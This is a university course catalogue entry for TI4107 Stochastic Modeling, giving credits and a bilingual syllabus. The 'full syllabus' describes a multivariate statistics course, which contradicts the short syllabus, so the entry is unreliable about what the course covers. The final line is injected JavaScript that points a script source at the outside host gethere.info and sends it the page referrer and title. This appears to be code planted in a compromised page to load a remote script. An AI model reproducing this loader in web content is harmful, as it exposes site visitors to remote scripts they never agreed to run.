TI4107

 

Kode Kuliah  :  TI4107
Nama Kuliah (IND)  :  Pemodelan Stokastik
Nama Kuliah (ENG)  :  Stochastic Modeling
SKS  :  3
Silabus (IND)  :  Teori probabilistik; variabel random dan distribusinya; proses stokastik dan pemodelan matematika; proses Poisson; Rantai Markov diskrit; Rantai Markov kontinyu; Proses pembaruan Markov; proses semi-Markov; Model keandalan; Perawatan; Persediaan dan rantai pasok.
Silabus (ENG)  :  Probabilistic theory; random variable and its distribution; stochastic process and mathematical modeling; Poisson process; discrete Markov chain; continuous Markov Chain; Markov renewal process; semi-Markov processes; Model reliability; Maintenance; Inventory and supply chain.
Silabus Lengkap (IND)  :  Matakuliah ini mempelajari berbagai metode multivariat yang dapat digunakan untuk memecahkan masalah teknik industri. Studi ini mencakup analisis data, analisis komponen utama, analisis faktor, analisis regresi, analisis diskriminan, analisis variansi, analisis korelasi, analisis cluster, multidimensional scaling, SEM (Structural Equation Modeling). Matakuliah memberikan keterampilan untuk menerapkan metode multivariat dalam memecahkan masalah teknik industri.
Silabus Lengkap (ENG)  :  This course studies various multivariate methods which can be used for solving industrial engineering problems. The study covers data analysis, principal component analysis, factor analysis, regression analysis, discriminant analysis, variance analysis, correlation analysis, cluster analysis, multidimensional scaling: SEM (Structural Equation Modeling). The course provides skills to apply multivariate methods in solving industrial engineering problems.
Luaran (Outcome)  : 
Hubungan Dengan Kuliah Lain  : 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;